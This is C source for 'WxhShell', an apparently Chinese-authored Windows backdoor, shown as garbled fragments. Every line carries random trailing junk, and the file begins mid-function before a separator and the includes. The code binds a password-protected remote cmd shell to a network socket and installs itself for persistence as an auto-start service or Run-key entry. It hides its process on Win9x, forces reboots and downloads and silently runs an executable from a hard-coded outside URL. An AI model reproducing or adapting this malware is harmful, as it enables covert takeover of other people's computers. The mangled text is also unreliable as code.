    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O6gl[aZN  
    else { tzKIi_2  
    closesocket(wsh); @+,J^[ y  
    ExitThread(0); h>A~..  
    } 5Lo\[K >j  
    break; w}`TJijl  
    } !MNnau%O  
  // 获取shell rda/  
  case 's': { R[l9f8  
    CmdShell(wsh); ! qF U  
    closesocket(wsh); ]3%( '8/  
    ExitThread(0); ^/H9`z;  
    break; Y<"BhE  
  } 5,;>b^gXY`  
  // 退出 Z/p>>SCak  
  case 'x': { AxbQN.E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U<aT%^_  
    CloseIt(wsh); Rx}*I00  
    break; >*v P*H:P  
    } 7tEkQZMDI  
  // 离开 aT[qJbp1  
  case 'q': { -!~ T$}/F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I>(3\z4s  
    closesocket(wsh); t04_~e  
    WSACleanup(); 6~t;&)6J  
    exit(1); M$O*@])  
    break; W'B=H1  
        } cU+% zk  
  } hS?pc<~`#  
  } PU"C('AP  
bGO[P<<  
  // 提示信息 &m8#^]*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tgf#I*(^]  
}  dkr[B' n  
  } VX;br1$X  
g$(<wWsU  
  return;  3 )bC,  
} [i&EUvo  
lHTW e'  
// shell模块句柄 Pa8E.<>  
int CmdShell(SOCKET sock) ^ |xSU_wa  
{  ./iC  
STARTUPINFO si; b#17N2xkT  
ZeroMemory(&si,sizeof(si)); 91Fx0(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;E!(W=]*F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >l!#_a  
PROCESS_INFORMATION ProcessInfo; ++HHUM  
char cmdline[]="cmd"; \Y4>_Mk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3 W%Bsqn  
  return 0; i$[wkQ>$  
} Al 0 i{.V  
'#;%=+=;  
// 自身启动模式 ;$\?o  
int StartFromService(void) GmONhh(k  
{ #DqVh!t"  
typedef struct +J`HI1  
{ 0|D^_1W`R  
  DWORD ExitStatus; YEbB3N  
  DWORD PebBaseAddress; pKnM=N1f  
  DWORD AffinityMask; ,"@Tm01os  
  DWORD BasePriority; @lYm2l^  
  ULONG UniqueProcessId; Ci}v+  
  ULONG InheritedFromUniqueProcessId; +i@r-OL   
}   PROCESS_BASIC_INFORMATION; 2$fFl,v!z  
&J <km  
PROCNTQSIP NtQueryInformationProcess; C,;hNg[  
"X.JD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iK(G t6w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $wQkTx  
>\/H2j  
  HANDLE             hProcess; h0=Q.Yz6  
  PROCESS_BASIC_INFORMATION pbi; "RkbT O  
HkP')= sa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ib3 u:  
  if(NULL == hInst ) return 0; CSA.6uIT  
:nt 7jm,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |U GmIm%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :c vZk|b%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w6-A-M6hD  
B5nzkJV<X  
  if (!NtQueryInformationProcess) return 0; qG=>eRR  
9L"Z ~CUL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wa #$9p~Q  
  if(!hProcess) return 0; fpDx)lQ  
P$ a `8~w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gG 9e.++:  
%X--`91|u  
  CloseHandle(hProcess); 5Oa`1?C1  
NB["U"1[^E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RW?F{Jy{  
if(hProcess==NULL) return 0; ;T9u$4 <  
tR! !Q  
HMODULE hMod; uA'S8b%C  
char procName[255]; :Z}d#Rbl  
unsigned long cbNeeded; ae&i]K;  
TIs~?wb$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TpHvZ]c  
DaA9fJ7a   
  CloseHandle(hProcess); yR`X3.:*]  
9L`5r$/  
if(strstr(procName,"services")) return 1; // 以服务启动  c"pI+Q  
z vM=k-Ec  
  return 0; // 注册表启动 015 ;'V#we  
} dTE(+M- Gr  
<~%e{F:[#  
// 主模块 ,C=Lu9  
int StartWxhshell(LPSTR lpCmdLine) sULCYiT|Hn  
{ g}cb>'=={  
  SOCKET wsl; Y]u6f c  
BOOL val=TRUE; (P+TOu-y\  
  int port=0; sQ)D.9\~  
  struct sockaddr_in door; 8RA]h?$$J  
H}Jdnu|ko  
  if(wscfg.ws_autoins) Install(); nB~hmE)  
_RTJEG  
port=atoi(lpCmdLine); yFD3:;}  
3U_-sMOB|  
if(port<=0) port=wscfg.ws_port; b`lLqV<[cB  
>q}Ns^ .'  
  WSADATA data; d4 Hpe>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wk0"U V  
p)dD{+"/2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +b9gP\Hke  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /M0A9ZT[  
  door.sin_family = AF_INET; \!+#9sq0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NSsLuM=.  
  door.sin_port = htons(port); $$,/F  
~36)3W[4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K;,_P5J%  
closesocket(wsl); P,QI-,  
return 1; y7x&/2  
} tK|jh  
pX\Y:hCug  
  if(listen(wsl,2) == INVALID_SOCKET) { *_qW;l7  
closesocket(wsl); 1TOT}h5  
return 1; ! H^,p$`[i  
} 5t,W'a_  
  Wxhshell(wsl); o_(@v2G`  
  WSACleanup(); O/?Lk*r  
$ykujyngS4  
return 0; XBmAD!  
Hv>16W$_  
} *-zOQ=Y  
&| d6  
// 以NT服务方式启动 ' )0eB:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (=T%eJ61  
{ ytWTJ>L  
DWORD   status = 0; M6j!_0j  
  DWORD   specificError = 0xfffffff; ,?3)L   
pPa3byWf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wWaJ%z>3y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K [.*8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fm|h3.`V  
  serviceStatus.dwWin32ExitCode     = 0; q JdC5z\[  
  serviceStatus.dwServiceSpecificExitCode = 0; 9On0om>  
  serviceStatus.dwCheckPoint       = 0; _#SCjFz  
  serviceStatus.dwWaitHint       = 0; (]Pr[xB  
++m^z` D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); snH9@!cG8  
  if (hServiceStatusHandle==0) return; 77]6_  
4P>4d +  
status = GetLastError(); Dh4 EP/=z  
  if (status!=NO_ERROR) 'X$J+s}6&  
{ si!jB%^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kT=KxS{  
    serviceStatus.dwCheckPoint       = 0; 1 luRTI8^  
    serviceStatus.dwWaitHint       = 0; }Qqi013E L  
    serviceStatus.dwWin32ExitCode     = status; &>YdX$8x  
    serviceStatus.dwServiceSpecificExitCode = specificError; A~!v+W%vO1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .!B>pp(9  
    return; (FY<% .Pa  
  } ri]"a?Rm  
ac2G;}B|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rg3cqe#O/  
  serviceStatus.dwCheckPoint       = 0; mF6 U{=  
  serviceStatus.dwWaitHint       = 0; 5, j&-{ 0W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *!wBn  
} 2qN|<S&  
(L2:|1P)  
// 处理NT服务事件,比如:启动、停止 4e0/Q!o,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IHrG!owf  
{ i'\7P-a  
switch(fdwControl) ]bui"-tlK  
{ ;ATn&  
case SERVICE_CONTROL_STOP:  av!'UZP  
  serviceStatus.dwWin32ExitCode = 0; ]9 ArT$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D2@J4;UW*W  
  serviceStatus.dwCheckPoint   = 0; 8M_p'AR\,y  
  serviceStatus.dwWaitHint     = 0; u> @ Yoyc  
  { KiaQ^[/q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9iwSE(},  
  } z5UY0>+VdS  
  return; g?mfpwZj  
case SERVICE_CONTROL_PAUSE: s (hJ *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '1Z3MjX  
  break; S{l >|N2q  
case SERVICE_CONTROL_CONTINUE: ` &E-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F4#^jat{  
  break; n{@^ne4 m  
case SERVICE_CONTROL_INTERROGATE: _P:}]5-|  
  break; Jq1^}1P  
}; 9[9 ZI1*s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M In6p  
} aOOkC&%  
mT3'kUZ}]  
// 标准应用程序主函数 z+=wql*Eo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6z-&Zu7@  
{ >}p'E9J?r  
4Gsbcl{  
// 获取操作系统版本 B.T|e,g26  
OsIsNt=GetOsVer(); 5TB==Fj ?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;LhNz()b  
Vlka+$4!  
  // 从命令行安装 4kr! Af  
  if(strpbrk(lpCmdLine,"iI")) Install(); UD+r{s/%  
f-'$tMs  
  // 下载执行文件 op|:XLR5  
if(wscfg.ws_downexe) { 03$lgDQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SBbPO5^](  
  WinExec(wscfg.ws_filenam,SW_HIDE); RPh8n4&("  
} p?#%G`dm  
 z^YL$  
if(!OsIsNt) { `;R [*7  
// 如果时win9x,隐藏进程并且设置为注册表启动 IuW5LS  
HideProc(); 8#_"WzDw  
StartWxhshell(lpCmdLine); H+O^el  
} "AayU  
else )2YZ [~3  
  if(StartFromService()) )Z.M(P  
  // 以服务方式启动 G#f(oGn :  
  StartServiceCtrlDispatcher(DispatchTable); +'!4kwTR  
else :VvJx]  
  // 普通方式启动 x$WdW+glZ-  
  StartWxhshell(lpCmdLine); B|zVq=l~  
W4ygJL7 6  
return 0; b~L8m4L  
} ss4<s 5:y  
jwW6m@+  
LL}b]B[  
]ICBNJ  
=========================================== 4hLv"R.  
mz<wYV*  
giNyD4uO  
i4p2]Nr t  
M9J^;3Lrh  
(F.vVldBy  
" ja Ot"iU.B  
$(PWN6{\r^  
#include <stdio.h> d$O)k+j  
#include <string.h> [-pB}1Dxb  
#include <windows.h> 3L5o8?[  
#include <winsock2.h> Ze:Y"49S+>  
#include <winsvc.h> xdV $dDCT  
#include <urlmon.h> !arTR.b\  
6 z2_b wo  
#pragma comment (lib, "Ws2_32.lib") eCI0o5U  
#pragma comment (lib, "urlmon.lib") +'{@Xe}  
+P//p$pE  
#define MAX_USER   100 // 最大客户端连接数 xy.di9  
#define BUF_SOCK   200 // sock buffer ,TdL-a5  
#define KEY_BUFF   255 // 输入 buffer w*-1*XNA  
\@eC^D2  
#define REBOOT     0   // 重启 o@!!I w  
#define SHUTDOWN   1   // 关机 ==W`qC4n?n  
tG"lI/  
#define DEF_PORT   5000 // 监听端口 50Kv4a"  
]L?DV3N  
#define REG_LEN     16   // 注册表键长度 (!iGQj(m  
#define SVC_LEN     80   // NT服务名长度 rQ!X  
UB7H`)C}  
// 从dll定义API j%Cr)' H?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z?o?"|o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ac@ zTK6>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~l@-gAyw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jh*aD=y  
{+.ai8  
// wxhshell配置信息 R2%>y5dD  
struct WSCFG { 4t<l9Ilp  
  int ws_port;         // 监听端口 AWqc?K@   
  char ws_passstr[REG_LEN]; // 口令 *\5o0~~8J  
  int ws_autoins;       // 安装标记, 1=yes 0=no U}]uPvu  
  char ws_regname[REG_LEN]; // 注册表键名 ?xgrr7  
  char ws_svcname[REG_LEN]; // 服务名 N`Q[OFe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0 3/ <A^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nRL2Z5iO-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W2CQk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TM1D|H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $!-a)U,w$B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _);;@T  
n;5;D  
}; `=B0NC.3  
TiF2c#Q*y  
// default Wxhshell configuration ;&9A Yh.  
struct WSCFG wscfg={DEF_PORT, *z{.9z`  
    "xuhuanlingzhe", ~LKX2Q:S  
    1, )ZP-t!).G#  
    "Wxhshell", >a aHN1Ca  
    "Wxhshell", _H (:$=$Q  
            "WxhShell Service", @jp}WwC/  
    "Wrsky Windows CmdShell Service", [61T$.  
    "Please Input Your Password: ", WV8?zB1  
  1, lW8!_h"G`n  
  "http://www.wrsky.com/wxhshell.exe", ]PI|Xl  
  "Wxhshell.exe" !KEnr`O2u  
    }; NxyrP**j  
g^qbd$}  
// 消息定义模块 FlPPz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +l,6}tV9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o3oAk10  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YV 5kzq  
char *msg_ws_ext="\n\rExit."; ZvS|a~jO  
char *msg_ws_end="\n\rQuit."; ]mW)T0_  
char *msg_ws_boot="\n\rReboot..."; F|seBBu  
char *msg_ws_poff="\n\rShutdown..."; 5jYZ+OB  
char *msg_ws_down="\n\rSave to "; Q5N;MpJ-  
:le"FFfk  
char *msg_ws_err="\n\rErr!"; 2' 8$I}h  
char *msg_ws_ok="\n\rOK!"; *YI>Q@F9  
9u->.O: p  
char ExeFile[MAX_PATH]; ;Npv 2yAab  
int nUser = 0; b3 ,&RUF  
HANDLE handles[MAX_USER]; :<}.3Q?&  
int OsIsNt; -}W `  
WRWcB  
SERVICE_STATUS       serviceStatus; ji|`S\u#b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H:DTvv8e{  
mh4`,N  
// 函数声明 Y.<&phv  
int Install(void); p^s k?E  
int Uninstall(void); )L%i"=<Bdy  
int DownloadFile(char *sURL, SOCKET wsh); hjgxCSp  
int Boot(int flag); -'sn0 _q/e  
void HideProc(void);  );cu{GY  
int GetOsVer(void); vX'@we7Q{  
int Wxhshell(SOCKET wsl);  EK:s#  
void TalkWithClient(void *cs); @YMQbjbr  
int CmdShell(SOCKET sock); JmR) g  
int StartFromService(void); t[.wx.y&0  
int StartWxhshell(LPSTR lpCmdLine); G}lP'9/  
Ofyz,% |Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %Ny`d49&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #xopJaY  
l5m5H,`  
// 数据结构和表定义 MZ8jL,a^  
SERVICE_TABLE_ENTRY DispatchTable[] = S4jt*]w5b  
{ l^F%fIRp)  
{wscfg.ws_svcname, NTServiceMain}, 8-wW?YTG  
{NULL, NULL} y8{PAH8S  
}; 3>`CZ]ip}  
2|1s!Q  
// 自我安装 0> 6;,pd"  
int Install(void) *$KUnd-T  
{ 4rh*&'  
  char svExeFile[MAX_PATH]; v GF<  
  HKEY key; ~[mAv #d&i  
  strcpy(svExeFile,ExeFile); L-LN+6r (#  
BE;J/  
// 如果是win9x系统,修改注册表设为自启动 JVORz-uBs  
if(!OsIsNt) { p:hzLat~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eqyZ|6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >}43xIRRCq  
  RegCloseKey(key); H9["ZRL,Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YGA( "<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qX GAlCq@  
  RegCloseKey(key); ::xH C4tw  
  return 0; D{](5?$`|  
    } >tq,F"2amC  
  } @R|Gz/  
} CTbz?Kn  
else { ? Q`Sx  
4)BPrWea1  
// 如果是NT以上系统,安装为系统服务 e%v<nGN.-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jDp]}d|f)  
if (schSCManager!=0) J#0oL_xY#  
{ C^ hHt,&  
  SC_HANDLE schService = CreateService k+"+s bsW'  
  ( `J>76WN  
  schSCManager, ;?y*@ *2u  
  wscfg.ws_svcname, _d$0(  
  wscfg.ws_svcdisp, : .-z) C}  
  SERVICE_ALL_ACCESS, o|s JTY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +G!N@O  
  SERVICE_AUTO_START, r~sx] =/  
  SERVICE_ERROR_NORMAL, m})q8b!S  
  svExeFile, %G<!&E!0h  
  NULL, Sv7_-#SW<(  
  NULL, QL>G-Rp  
  NULL, _)7dy2%{q  
  NULL, ;BEg"cm  
  NULL N F[v/S  
  ); JeR8Mb  
  if (schService!=0) r|XNS>V ,$  
  { <bwsK,C  
  CloseServiceHandle(schService); ? [?{X~uq  
  CloseServiceHandle(schSCManager); yn0OPjH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \}ujSr#<  
  strcat(svExeFile,wscfg.ws_svcname); wo>srZs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EBY=ccGE{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !OJ@ =y`i  
  RegCloseKey(key); 6 1= ?(Iw  
  return 0; 3gW4\2|T  
    } K)Nbl^6x  
  } o b  
  CloseServiceHandle(schSCManager); v5|X=B>&>  
} y@;4F n/  
} oh '\,zpL  
|5wuYG  
return 1; 1Ftl1uf  
} JD^&d~n_  
M-!eL<  
// 自我卸载 y(K?mtQ   
int Uninstall(void) !@ml^&hP  
{ a2dlz@)J  
  HKEY key; ?-g=Rfpag  
OQ$77]XtvL  
if(!OsIsNt) { Jlw oSe:S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZDZPJp,  
  RegDeleteValue(key,wscfg.ws_regname); lD!o4ZAo  
  RegCloseKey(key); $X %GzrN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }2.^n{Y  
  RegDeleteValue(key,wscfg.ws_regname); v hUn3|  
  RegCloseKey(key); qy`95^  
  return 0; s D] W/  
  } *f~X wy"  
} /;M0tP  
} ^;3z9}9  
else { H( `^1  
//G5lW/*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XelY?Ph,,  
if (schSCManager!=0) -{>Nrx|  
{ [=Wn7cr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p6(n\egR  
  if (schService!=0) %Ke:%##Y  
  { L&qzX)  
  if(DeleteService(schService)!=0) { DRD%pm(  
  CloseServiceHandle(schService); R1z\b~@"  
  CloseServiceHandle(schSCManager); }Po&6^  
  return 0; Yn,dM~|Cc  
  } R/ 7G  
  CloseServiceHandle(schService); 30Nya$$A=  
  } slEsSR'J]  
  CloseServiceHandle(schSCManager); uG\ +`[-{0  
} E+$vIYq:W  
} (=${@=!z  
Sd.i1w &  
return 1; [8/E ;h  
} >JFAE5tj&2  
^f{+p*i}:  
// 从指定url下载文件 tvptaw A.  
int DownloadFile(char *sURL, SOCKET wsh) }%EQ  
{ 93%U;0w[Nw  
  HRESULT hr; Tx35~Z`0  
char seps[]= "/"; \xk`o5/{  
char *token; dL<okw  
char *file; >9D=PnHnD  
char myURL[MAX_PATH]; ZD1UMB0$4  
char myFILE[MAX_PATH]; g2 uc+p  
x%ZjGDFm  
strcpy(myURL,sURL); I<*U^e  
  token=strtok(myURL,seps); dL>0"UN}-  
  while(token!=NULL) b0]y$*{j  
  { H~+D2A  
    file=token; "4LYqDe  
  token=strtok(NULL,seps); xtKWh`[&  
  } 3ug{1 M3  
 PA"xb3@I  
GetCurrentDirectory(MAX_PATH,myFILE); 3e"_R  
strcat(myFILE, "\\");  o@_pV  
strcat(myFILE, file); CD(2A,u)/  
  send(wsh,myFILE,strlen(myFILE),0); 6OMywGI[Z  
send(wsh,"...",3,0); $=n|MbFl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /Cr0jWu _  
  if(hr==S_OK) \LRno3  
return 0; A>^\jIB>  
else i% k`/X;  
return 1; :|oH11 y  
>`8r52  
} s4lkhoN\t  
^;GJ7y&,d  
// 系统电源模块 \;p5Pagx0-  
int Boot(int flag) &|xN=U/  
{ ^r^c MksB*  
  HANDLE hToken; zbP0!  
  TOKEN_PRIVILEGES tkp; HE+y1f]  
.l5y !?  
  if(OsIsNt) {  %"j<`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lyKV^7}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mw7 ~:O`  
    tkp.PrivilegeCount = 1; GiB3.%R`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y}ez js  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E0}`+x  
if(flag==REBOOT) { [i.2lt#]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =-{+y(<"r  
  return 0; GAbX.9[V  
} v')Fq[H  
else { t#oY|G3O}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $k*E^~qT  
  return 0; !l@IG C  
} YY]JjMkU  
  } i NzoDmE*  
  else { :{%6< j  
if(flag==REBOOT) { O'U0Y8HN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MuYr?1<q  
  return 0; #"%oz^~\  
} |)i- c`x  
else { Y1txI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gm9e-QIHK  
  return 0; \?h +  
} #B|`F?o  
} M[D`)7=b  
#ldNWwvRGj  
return 1; .Nr}V.?57  
} rE[*i q,#  
p+#J;.  
// win9x进程隐藏模块 <r.f ?chf  
void HideProc(void) A/%K=H?  
{ c[?S}u|['  
/ O6n[qj|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z}yntY]n  
  if ( hKernel != NULL ) /K<Xr[z~y  
  { ^10*s,(uS?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pq+Gsu1^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j"HB[N   
    FreeLibrary(hKernel); =El.uBz{  
  } E}mnGe  
j% !   
return; ;^lVIS%&{  
} V:)k@W?P  
YMad]_XOP  
// 获取操作系统版本 )!hDF9O  
int GetOsVer(void) ]3xnq<  
{ fXvJ3w(  
  OSVERSIONINFO winfo; .l"_f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `,tv&siSA  
  GetVersionEx(&winfo); TZi%,yK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #JeZA0r5  
  return 1; oHB51< }  
  else `;*%5WD%  
  return 0; SoS[yr  
} %#2[3N{  
J:)Q)MT24:  
// 客户端句柄模块 x "]%q^x  
int Wxhshell(SOCKET wsl) 6cVaO@/(  
{ e(x1w&8dB  
  SOCKET wsh; c^}gJ  
  struct sockaddr_in client; yAG4W[  
  DWORD myID; :)t1>y>3  
Qr1%"^4  
  while(nUser<MAX_USER) ?Q wDV`  
{ Fl]$ql   
  int nSize=sizeof(client); :e ?qm7cB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U:c!9uhp  
  if(wsh==INVALID_SOCKET) return 1; kM*f9x  
,'m<um  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oOBN  
if(handles[nUser]==0) lLxKC7b  
  closesocket(wsh); Sb>;k(;`:  
else .1 .n{4z>:  
  nUser++; 0vQ@n7  
  } GfD!Z3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pY!@w0.  
0^*4LM|z  
  return 0; 'h%)@q)J)  
} &!2 4l=!  
ae{% * \J  
// 关闭 socket pq#Hca[  
void CloseIt(SOCKET wsh) E@hvO%  
{ <w+K$WE {  
closesocket(wsh); HGs.v}@&  
nUser--; ^;$a_eR  
ExitThread(0); )MHvuk:I)  
} /hOp>|  
L,p5:EW8.  
// 客户端请求句柄 {tk42}8k  
void TalkWithClient(void *cs) IX']s;b  
{ bT,]=h"0  
U P GS  
  SOCKET wsh=(SOCKET)cs; acdaDY  
  char pwd[SVC_LEN]; 4 (& W>E  
  char cmd[KEY_BUFF]; lE`hC#m  
char chr[1]; R"];`F(#  
int i,j; ox{)O/aj  
H5S>|"`e`e  
  while (nUser < MAX_USER) { Q*ZqY  
{1'XS,2  
if(wscfg.ws_passstr) { iyc}a6g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qm4 Ejc<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;yqJEj_m(  
  //ZeroMemory(pwd,KEY_BUFF); ce.'STm=  
      i=0; j5|PQOK  
  while(i<SVC_LEN) { D0v!fF ~  
0rxlN [Yp  
  // 设置超时 Pan^@B=Q  
  fd_set FdRead; he8y  
  struct timeval TimeOut; Ms=x~o'  
  FD_ZERO(&FdRead); $L)9'X   
  FD_SET(wsh,&FdRead); pi q%b]  
  TimeOut.tv_sec=8; I?lQN$A.E  
  TimeOut.tv_usec=0; 320Wm)u>:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DhG2!'N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -1Yt3M&  
j0>S)Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3P\#moJ  
  pwd=chr[0]; d2&sl(O  
  if(chr[0]==0xd || chr[0]==0xa) { `][~0\Y3m  
  pwd=0; K8XXO"  
  break; i d\0yRBt  
  } 5O#CdN-S  
  i++; n AQB  
    } *JZU 0Xb  
1>c`c]s3  
  // 如果是非法用户,关闭 socket t~)w921>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wr~# rfH  
} MIub^ $<C  
.!\y<9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lfOF]Kiqr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1t+]r:{  
oil s;*q  
while(1) { R{NmWj['Mg  
T|GRkxd,E3  
  ZeroMemory(cmd,KEY_BUFF); [(B A:x1  
Nj1vB;4Nx  
      // 自动支持客户端 telnet标准   <8|vj 2d2  
  j=0; br .jj  
  while(j<KEY_BUFF) { _:x/\ 8P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f$Q#xlQM  
  cmd[j]=chr[0]; /d%&s^M:  
  if(chr[0]==0xa || chr[0]==0xd) { ^DS9D:oE  
  cmd[j]=0; "pa5+N&2-  
  break; +M$2:[xRT  
  } lj/ ?P9  
  j++; i*:lZeU61  
    } v}Gq.(b  
r50}j  
  // 下载文件 >k<.bEx(A  
  if(strstr(cmd,"http://")) { ?5K.#>{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FTI[YR8?Y  
  if(DownloadFile(cmd,wsh)) rV<yM$IA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2P`hdg  
  else bU/5ug.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;eI,1 [_  
  } eh2w7 @7Q  
  else { y&-wb'==p  
WEFYV=I\  
    switch(cmd[0]) { { xi$'r  
  t/yGMR=  
  // 帮助 _}:9ic]e  
